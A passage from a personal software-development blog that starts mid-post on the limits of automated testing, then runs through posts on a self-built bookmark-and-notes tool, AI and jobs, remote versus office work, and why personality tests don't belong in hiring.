There are a number of things that will involve humans testing your software. The first of which is visual design. You can write an integration test or a Selenium test to make sure a button is clickable. It is a lot hard to test that the button is large enough to be visible, isn’t partially covered by another visual component, has the proper padding, or is even the right color. One possibility is to use screenshots and validate that the result of a test execution has a screen that looks the same as the screenshot. However, these tests can be very fragile, especially if you are iterating on your UI frequently.

Side note: if you know of a reliable way to overcome this limitation, feel free to send a message or tweet to @Dynomantle

Another limitation to automated testing is anything that involves a third service. Relying just on AWS or Google Cloud is one thing. Those services are built for scale and for you to do automated testing. If you have a product that deals with email however, an automated test looks very much like spam. If you have a product that scrapes web pages, an automated test could look like a denial of service attack. If you have a product that relies another service’s API, an automated test can hit any API limits very quickly.

Lastly, while automated tests can attempt to simulate user actions, the tests are only capable of doing what you tell them to do. Users are notorious in their ability to think of unintended uses of software. For developing a product, this is a blessing. For testing a product, this is a challenge. You will still get bugs and you will have to keep your tests up to date as you fix those bugs.

Detailed Examples
Hopefully this article was useful in helping you start with your own automated testing strategy. If you would like to see a detailed explanation of how to create tests in ReactJS/Typescript and Python, I put one up on Dynomantle. Sign up is free!

Taking Better Debugging Notes

Beekey Cheung — Tue, 01 Dec 2020 02:32:14 +0000

I've been a software developer for a long time. A core activity is encountering a strange error and the searching around the internet for hints on the cause. Sometimes I get lucky and the answer is in the first result on Google (which is probably a link to Stack Overflow). In many cases, I actually have to spend hours tweaking search terms and combing through dozens of search results.

Eventually I find the answer though! It may not be clear cut and I have to adapt the information for the system I am working with, but the answer is found anyway. Problem solved.

6 months later... I encounter the same problem again. What search term did I use to find the answer? Even if I remember, dozens of links on the search results page are all clicked so I have to dig through them all again to find the one that I need.

It kills me. Every. Single. Time.

Why can't I remember the solutions? Part of the problem is that these errors are one offs. I don't have to deal with them very often and 6 months is plenty of time to forget anything.

The other part of the problem is that I encounter so many errors like these! Software development is complex and the more technologies you work with, the more complex it becomes. Can't just bookmark the solutions because browser bookmarks work great if you have say three bookmarks, not three hundred or three thousand.

I could take notes in a note taking app. I've certainly tried. They all treat links like second class citizens though. The search feature will index my notes, but it will at best only index the link preview for a web page. That means I have to manually copy and paste the web page's content and html doesn't always paste nicely.

And so I've fallen back on the tried and true programmer's tactic: I built my own solution. At the forefront, it scrapes bookmarks so that both web pages and my note show up in search.

It also doesn't require any note taking. Bookmarks can just be added to the app.

Though oftentimes I do want to write a summary of the solution and tie it to a bookmark.

And then there are really complex issues that require stitching together a solution from several links.

Originally, I built the tool just for myself. Some of my friends found it super useful too though so I made it publicly available. You can sign up and get some sample content for Python and Frontend Web Development using this link.

Artificial Intelligence and Jobs

Beekey Cheung — Thu, 18 Jun 2020 00:00:23 +0000

Originally published at dynomantle.com

There has been a lot of discussion over the years about the number of jobs Artificial Intelligence (AI) may "take away". Some have already lost their jobs to robots, which compounds the fear.

While the notion of losing your job to AI may be scary, it is important to consider what "AI" is. It is not the same as human intelligence. It tends to be great at things humans find hard, but find itself unable to accomplish the simplest things that children can.

This guide will talk a bit about what AI is, how similar it is to other automation events in history, and what the possible affects on jobs may be.

Artificial Intelligence vs Intelligence

When most people talk about AI, they are really talking about machine learning. Let's use a recommendation algorithm as an example. We have a generic e-commerce site that sells all sorts of stuff.

The most straightforward way to provide recommendations is to just look at stuff that sold the most. Something that has 1000 sales will probably be a better recommendation than something that has 10 sales.

However, we will need to use something else if our site sells everything from toilet paper to cameras. Another factor could be how often a person is viewing cameras on the site because that probably means they're researching cameras to buy. The more they view cameras, the more likely they will purchase a camera if we show them a top selling camera.

We can combine these with other factors such as price, similar purchases with other people, or region in the world to create a score of how likely a person is to make a purchase if we recommend a particular camera.

Seems pretty smart right? Here is where we start to see some flaws though. Any human can look at a person buying a $1000 prosumer camera and know that they may be interested in buying accessories. We humans also know that they are unlikely to buy another $1000 camera. We don't even need to look at any purchasing data to make this determination. We know this because we can reason that

a $1000 purchase is a big purchase
not many people buy multiple cameras in a short period of time
someone buying a $1000 camera instead of using their smartphone is taking photography as a serious hobby if not a profession. They will probably need accessories such as different lenses or tripods.

Machine learning algorithms do not reason. Algorithms do not understand things the way we do. They make "decisions" solely on correlation. To have an algorithm stop recommending cameras to people who just purchased a camera takes thousands if not millions of data points.

To use another example, a child can determine that a round peg doesn't fit into a square hole pretty easily. An algorithm will need thousands of data points. Not only that, but you would have to direct the algorithm to know that fitting pegs into appropriately shaped holes is the goal. A child can create their own goals, such as stacking all the objects and considering that a win.

NOTE: machine learning algorithms are not the only form of AI. Artificial General Intelligence (AGI) would actually be more akin to human intelligence. It is the form of AI that you will most often see in movies and tv shows. We also happen to be very far off from it. Trying to predict when computer scientists will make a breakthrough in AGI is as difficult as trying to predict when we'll have a breakthrough in curing cancer for good. It could be next year (unlikely) or it could be hundreds of years from now.

Properties of Artificial Intelligence

Artificial intelligence is very good at things humans would consider difficult. It can perform millions of mathematical calculations in less time for a human to do one of those calculations. This trait has a number of uses from getting useful search results to image recognition. But let's look at image recognition closer to see where AI starts to hit some limitations.

Image recognition works by looking at patterns of pixels and matching them with known objects. You can probably throw this image of a dog into any image recognition algorithm and it will come up with "dog". The algorithm may even be able to tell the breed of the dog, the fact that the dog is still a puppy, and that the puppy is chewing a stick.

However, while a child can understand what a dog looks like after a few examples, an algorithm will need thousands of photos to identify a dog. It will also need thousands more to identify breeds or age.

An algorithm is also less likely to be able to tell you that the stick was most likely brought in from the street rather than purchased from the store. Or that some poor human had to clean up little wooden shards from all over the apartment. Or that that same poor human eventually got fed up and threw out that stick. Maybe that human stubbed their foot on one of those wooden shards. The puppy was also spoiled for being allowed to bring in random things inside.

These are things humans could have easily determined from looking at this picture. It would be incredibly difficult to generate these same insights from a machine learning algorithm. Things that come naturally to humans are incredibly difficult for machines.

This is because algorithms don't actually understand the concepts in the photo. It can only identify the objects. It knows that certain patterns of pixels means a dog is in the image, but it doesn't know what a dog is. It doesn't understand how dogs behave or how humans behave, which is necessary to understand that sticks aren't bought in stores.

Pattern matching with pixels also has a lot of limitations. There are numerous instances of people manipulating images to trick algorithms.

Look at the image below. The left image will be identified as a school bus. The center is a "mask" added to the image. The right image is obviously still a school bus to any human. Many image recognition algorithms will identify it as an ostrich.

Algorithms make this mistake because they don't understand what a school bus or an ostrich are. They simply look at correlations in the pixels. Those pixels can be modified to fool an algorithm even though any human looking the image would still have the correct answer.

That being said, algorithms have some clear advantages. An algorithm can identify objects in millions of photos in seconds or minutes (depending on how much processing power you throw at it). A human will take who knows how long to go through millions of photos. Years maybe?

Algorithms are not better or worse than humans. They simply have different properties that make them better suited for certain tasks while incapable of doing others. Machine learning is similar to other forms of automation throughout history. Machines in general can perform specific tasks better and quicker than humans can, but their abilities are limited to specific tasks. Even for those specific tasks, the machine can benefit greatly from human intervention.

Deep Blue is famous for beating Garry Kasparov at chess. Kasparov has mentioned in his book Deep Thinking that today, an algorithm will almost always win at chess against a human. However, an algorithm will almost always LOSE at chess to another algorithm paired with a human. A machine can run through the permutations of different moves on a chess board to see what the board would look like many moves ahead. A human actually understands the game at a high level and can create overarching strategies. The abilities are complimentary.

Machines don't have critical thinking abilities. They only have brute force. With algorithms, this comes in the form of millions of mathematical calculations within seconds. It is still brute force nonetheless. Today's algorithms are not fundamentally much different than any other machine. This means that we can look at other forms of automation in history to understand what the impact machine learning will have on jobs.

Automation and Jobs

Automation certainly has an effect on jobs. In the early 1800s, over half the U.S. population worked on farms. Less than 2% of the U.S. population does so today, and yet we have significantly more food available. Tractors, harvesters, sprinkler systems, and such make it possible for a single person to do what used to take dozens if not hundreds of people.

A single person being 100x more productive usually means there are going to be fewer people needed to do that job. Yet, that does not mean the overall effect is fewer jobs. New jobs are created to build and maintain those machines.

Machines also make new jobs possible. SEO (search engine optimization) experts did not exist in the 1990s. That job only exists because of the importance of search engines, which happen to be algorithms.

Boats, planes, trains, and cars are machines that enable the transport of people and goods over long distances. This created jobs in not only building and maintaining those machines, but also in infrastructure such as roads and airports.

The proliferation of travel across different countries has also increased the need for an industry to teach new languages. As much as algorithms have improved in language translation over the years, it is unlikely to replace the need for humans performing translation.

None of these jobs were imagined before the automation came into place. That can make things seem scary because looking forward, you can only see the jobs going away. You can not see the jobs that don't exist yet. There is just no way to make something that doesn't exist feel real. And while new jobs will be created over the long term, there will be severe short term effects with any new form of automation. Elevator operators and toll booth workers are obsolete, but those workers can't exactly get jobs fixing cars or building web pages without a significant amount of training.

Machine Learning and Jobs

The main difference between machine learning algorithms and previous forms of automation is that other forms of automation have replaced repetitive physical tasks. Algorithms are replacing repetitive mental tasks. This new trait is a little scary because it is unfamiliar, but let's look at an example to see how some jobs may change in the future rather than disappear.

One of the more commonly talked about jobs being "lost" to AI is truck driving. It makes sense in many ways. Most of the time spent driving a truck is going straight down an interstate. With over 3 million truck drivers in the U.S., the effect of this job loss is immense.

However, there are a number of factors to consider here where the net job effect of automation in truck driving could be positive instead of negative.

The first is that having self driving vehicles be available in all cases could be farther than most people think. Remember that machine learning algorithms don't actually understand things. They find correlations in data and make decisions based on those correlations. A unique or novel situation would not have much data available for it and the algorithm will not be able to make a good decision in that case.

Human drivers understand what a stop sign is. You can cover up part of the stop sign and know that it is still a stop sign. The same is not true for algorithms.

Article on IEEE Spectrum

Researchers have put stickers on stop signs to trick algorithms into thinking they are something else. One could argue that the algorithm builders can simply account for that case, but that would not address the underlying problem. Humans understand concepts and can handle situations they have never encountered before. How can an algorithm builder train an algorithm to handle a situation they have not encountered before?

That rules out replacing truck drivers for the "last mile" driving within cities and local roads. However, we can still replace them on interstates... right?

That leads us to two more points. The first is that automation tends to make goods and services cheaper. Machines have a large fixed cost, but they don't need a salary or benefits. They can also work 24 hours a day without a break. But what happens when goods and services become cheaper? What happens if shipping goes from $6 to $3? Or what happens if a book costs $10 instead of $15?

Oftentimes, cheaper goods means that people purchase more of those goods. They can afford to. That increases the number of goods that get transported, which increases the number of trucks being used. While the bulk of that driving is done on highways however, it also means it increases the amount of goods being transported on local roads, which happen to be driven by human truck drivers. So there is an offset to the "job loss" there.

The other point is that machines don't run forever. They need maintenance. And with a machine driving the truck 24 hours a day, they will probably need more maintenance than usual. Many truck drivers are already capable of performing some maintenance on their trucks so it is not far fetched to say they could transition to performing more maintenance.

And having a nationwide network of maintenance workers could be expensive for a single trucking company. It could make sense to have a human truck "driver" stay on one truck in a 5 truck convoy in the event any one of those 5 trucks breaks down.

We should also mention that an increase in purchased goods being transported also means an increase in the creation of those goods. While that too is mostly automated, there are undoubtedly going to be plenty of humans in the process as well.

It is also very likely that trucking will turn out completely differently from what we just stated. It is difficult to see how technology and automation will change the job market. What we can see from history is that it does tend to create plenty of jobs that we can't even imagine.

Parting Thoughts

We hope this guide has helped you understand artificial intelligence a little bit better. Knowing the capabilities and limitations of AI can help use understand what jobs are at risk, but also which jobs are more likely to change rather than go away.

If you are interested in reading a discussion of jobs other than trucking, sign up for the Dynomantle app!

Remote Work Is Not The Best Possible Future

Beekey Cheung — Wed, 27 May 2020 10:09:00 +0000

There has been quite a bit of talk lately about how companies are moving to remote work. Some people even go so far to say that all companies should be remote. Having an office is just clinging to the past. The office is obsolete and remote work is the future we should have.

I can't disagree more. As far as software development is concerned, I think the most efficient teams in the future will be in the office.
I've worked remotely for the past 4 years. For personal reasons, I expect to work remotely for the foreseeable future. However, I am almost certain that I am less effective remote than I am in the office.

Let's look at conducting one on ones first. I've worked with many developers who were initially hesitant to voice opinions. This can give people the impression they don't have any, which severely limits career progression if those people are in senior management. One on ones are a way to provide those developers a place where they can say what they're thinking without worrying about it being "stupid". It helps if the physical place is more casual like a coffee shop or out for a walk near the office.

Virtual one on ones tend to be more formal because both parties are either in a home office or in a meeting room. That formality raises the stakes on an opinion having flaws. Hesitancy to speak honestly hinders any efforts to help a developer learn and grow. It is possible to work past this, but the job is significantly more difficult.

Another casualty of remote work is the creativity/inspiration effect of working with other people in the same space. This is a bit of a fuzzy concept, but the effect is very real. A team that sits together communicates better. Asking a question to someone next to you is as simple as turning your head. Showing a problem is as simple as pointing at your monitor.

Doing the same thing remotely requires an attempt to explain the situation in text form with a video chat following if that fails. It doesn't sound like that much more effort, but it is enough for most people to not bother. They'd rather bang their head against a wall for a few hours before taking that effort (note: I'm guilty of this too).

That head banging can be a learning experience in some situations, but it is a waste of time in many others. Take AWS. Now, I love AWS. I've tried using other cloud providers, but the product quality at AWS keeps bringing me back. However, AWS documentation leaves a LOT to be desired. There is nothing gained spending hours/days banging your head trying to figure out what you're supposed to do by reading that documentation. Having a 15 to 30 minute conversation with someone who has experience with an AWS service will almost certainly provide a better learning experience AND save a ton of time. That productive conversation is more likely to be delayed, or may not even happen, with a remote team.

This brings us to the point that many people like about remote work: fewer people bother you during the day. You can write so much more code without everyone coming to you with constant pestering questions!

Pestering questions was one of my biggest complaints at a job I had a decade ago. My boss had this tendency to try and understand problems before coming up with solutions though. He asked me to write down every instance where I was interrupted at work. It seemed like an annoying task at first, but I did it anyway.

I was pretty amazed after a couple of days. On the surface things seemed bad. I was interrupted at least 25 times a day. However, when I looked at what each interruption actually was, I realized the value that was being created with that time. Our systems always ended up with a better design because of those conversations. I wasn't as productive with the work that was directly assigned to me, but I was providing more value to the company by helping the people that came to me.

This experience has given me a strong belief that the productivity boost from working remotely is an illusion. The value a software developer creates isn't the number of lines of code they write, the number of features they implement, or the number of bugs they fix. The value of a software developer is a lot harder to measure because it involves teamwork. That means not just fixing a bug, but discussing better fixes for bugs so that they don't reoccur. That means not just implementing a feature, but discussing ways to implement it that would be better for users of the software.

The "productivity boost" from working remotely relies on the premise that you have fewer meetings. That's just another way of saying you would be more productive by talking to your team less. However, those meetings are more productive than they seem. Talking to your team is not a waste of time.

Personality Tests Don't Belong In Job Interviews

Beekey Cheung — Mon, 30 Sep 2019 10:09:00 +0000

I find it distressing that more and more companies using personality tests in their interview process. My colleagues mentioned that they have seen this trend increase as well. They note that it is a convenient way to get around anti-discrimination laws because the results are hidden. I’m going to give a benefit of a doubt and not assume this practice is due to some sinister motive. I think a much simpler explanation is that hiring managers are trying to make their jobs easier.

Photo by Glenn Carstens-Peters

A personality test is easy to conduct. You get a candidate to answer some standardized questions. The answers are compiled into a set of scores for various traits. Anyone can pick the traits they think they want and pick a candidate that fits the mold. It is a lot more difficult to make this determination in the actual interview process so there is a huge temptation to simply rely on a test that has some authority behind it.

There is a much better way to determine a candidate's qualifications however. Let's look at some of the questions we would want a personality test to answer for us:

Will a candidate get along with people?
How does a candidate communicate?
How does a candidate handle disagreements?
How does a candidate handle new situations?
Does a candidate learn from their mistakes?

All of these questions can be answered better with an open ended software design or architecture problem. I prefer to base these questions on a system the candidate will actually work with. Some examples are: running a data migration from legacy systems, implementing a new feature across the stack (frontend components, api endpoints, datastore used and/or database schema, etc.), or managing a pipeline of asynchronous jobs that had dependencies on each other.

The beauty of these types of questions is that they will inevitably result in a candidate having questions. The types of questions they ask will be an indicator for their technical ability. Plus, these questions will result in discussions between the interviewer and the candidate. That discussion will resemble the types of discussions development teams will have when building these systems for real. While the candidate's behavior is modified because they are in an interview situation, this is as realistic a scenario we can get with what it will be like to actually work with this person. This answers how a candidate gets along with the specific people on our team and how well we can communicate with them. A standardized personality test can provide some insights on abstract traits, but not how well a candidate will mesh with the team members we have.

In addition, we can add things to our open ended problem to answer other questions about a candidate. Since an open ended problem is rarely a problem that has an answer which is 100% correct, we are free to disagree with a candidate regardless of their answer. The interviewer can propose a different approach to solving the problem and ask for the candidate's opinion. Will they answer defensively or with arrogance? Or will they provide a neutral analysis of the trade offs between the two approaches? I don't know a single development team where everyone agreed on everything 100% of the time. That makes this another realistic scenario we are evaluating a candidate with and seeing how they interact with our team.

And speaking of realistic scenarios, we can also add requirement changes to our open ended problem. How does a candidate respond here? Do they freeze? Do they focus on solving the new problem? Are they open about some of the regrets they have about their original design? Can they find a way to deliver on the new requirements with their existing design or do they think they need to rebuild everything? How a candidate handles this situation says more about their personality than any standardized test of abstract questions.

I've learned the hard way that abstract theoretical questions aren't the best judge of engineering candidates. It's why I never use standard algorithm questions in interviews anymore. Personality tests may test for something different, but they share the same fundamental problem with coding on a whiteboard. Neither are realistic representations of a candidate's true ability. There are better alternatives. The open ended architecture/design problem is one, but there are others. And as with everything else, we should always strive to improve our interview techniques with even better alternatives.